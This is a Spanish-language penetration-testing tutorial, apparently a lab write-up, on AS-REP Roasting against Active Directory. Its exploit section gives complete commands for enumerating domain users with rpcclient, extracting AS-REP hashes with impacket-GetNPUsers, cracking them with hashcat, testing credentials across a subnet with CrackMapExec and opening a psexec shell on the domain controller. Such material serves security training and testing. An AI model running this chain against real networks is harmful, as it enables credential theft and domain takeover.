AS_REP ROASTING
Este ataque se aprovecha de los usuarios que tienen activa la opción de "No requiere preautenticación de Kerberos".
INTRODUCCIÓN
Esquema de trabajo
Vamos a explotar el siguiente esquema.
En una red empresarial no hemos conseguido acceso a ningún activo por ahora, sin embargo, tenemos unos credenciales de usuario sin privilegios (vgarcia:Password2). Como parte de nuestra rutina tratamos de explotar un AS_REP Roasting.
Para entender más en profundidad estos conceptos puede leer el siguiente artículo:
SPN Y KERBEROSHerramientas necesarias
RPCClient
Herramienta para ejecutar el cliente de MS-RPC. Viene instalada por defecto en Linux.
CrackMapExec
Es una herramienta de post-explotación que se aprovecha de protocolos y características propias de los entornos de Directorio Activo para obtener una gran cantidad de información sobre los mismos.
Utiliza Impacket y Powersploit Toolkit
Impacket
Es una colección de clases de Python para trabajar con protocolos de red. Está pensada para obtener control a bajo nivel de los paquetes utilizados por algunos protocolos y, en algunos casos como SMBv1, la propia implementación del protocolo en sí mismo.
Concretamente para este ataque vamos a utilizar impacket-GetNPUsers
PowerSploit Toolkit
Es una colección de scripts de Powershell orientados a ayudar a pentesters en su proceso. Éste repositorio se encuentra deprecated.
Hashcat
Es el crackeador de hashes más rápido del mundo actualmente. Puede aprovecharse de la pontecia de una GPU.
Resumen
Vamos a comprobar si existen usuarios con la opción "No requiere preautenticación de Kerberos" activada y a obtener sus TGTs.
Vamos a crackear estos TGTs.
Vamos a comprobar el alcance de los credenciales obtenidos.
Vamos a acceder con una shell interactiva.
EXPLOIT
1. Comprobar usuarios NP
Lo primero que debemos hacer es obtener los usuarios que tiene el Active Directory.
Con rpcclient podemos enumerar los usuarios del AD facilmente:
rpcclient -U "vgarcia" -W hackpoc 192.168.1.100 -c enumdomusers

Los guardamos en un archivo users.txt (Para acelerar el proceso podemos utilizar el siguiente oneliner:
echo "Copiamos la salida del comando anterior" | grep '\[.*?\]' | grep -v '0x' | tr -d '[]'
Una vez lo tenemos almacenados utilizamos impacket-GetNPUsers para comprobar cuantos de estos tienen la opción NP activa:
impacket-GetNPUsers hackpoc/ -usersfile users.txt -format hashcat -outputfile as_rep.txt

2. Crackear el Hash
A continuación tratamos de crackear el Hash utilizando Hashcat (aunque tambien se puede utilizar john).
Para averiguar el modo en el que trabaja hashcat con estos hashes sacamos:
hashcat --example-hashes | grep "krb5asrep" -B 2
Utilizamos hashcat para crackear el hash.
hashcat -m 18200 -a 0 as_rep.txt /usr/share/wordlists/rockyou.txt

3. Comprobar alcance de credenciales
Utilizamos CrackMapExec para comprobar si los credenciales obtenidos tienen capacidad de PSExec con alguno de los activos de la empresa.
cme smb 192.168.1.0/24 -u "SVC-SQLService" -p "MYpassword123#"

4. shell interactiva con el DC
El usuario que hemos obtenido es un usuario administrador de dominio por lo que ahora tenemos capacidad de PSExec al DC.
impacket-psexec hackpoc/SVC-SQLService:MYpassword123#@192.168.1.100 cmd.exe

REFERENCIAS
Última actualización
¿Te fue útil?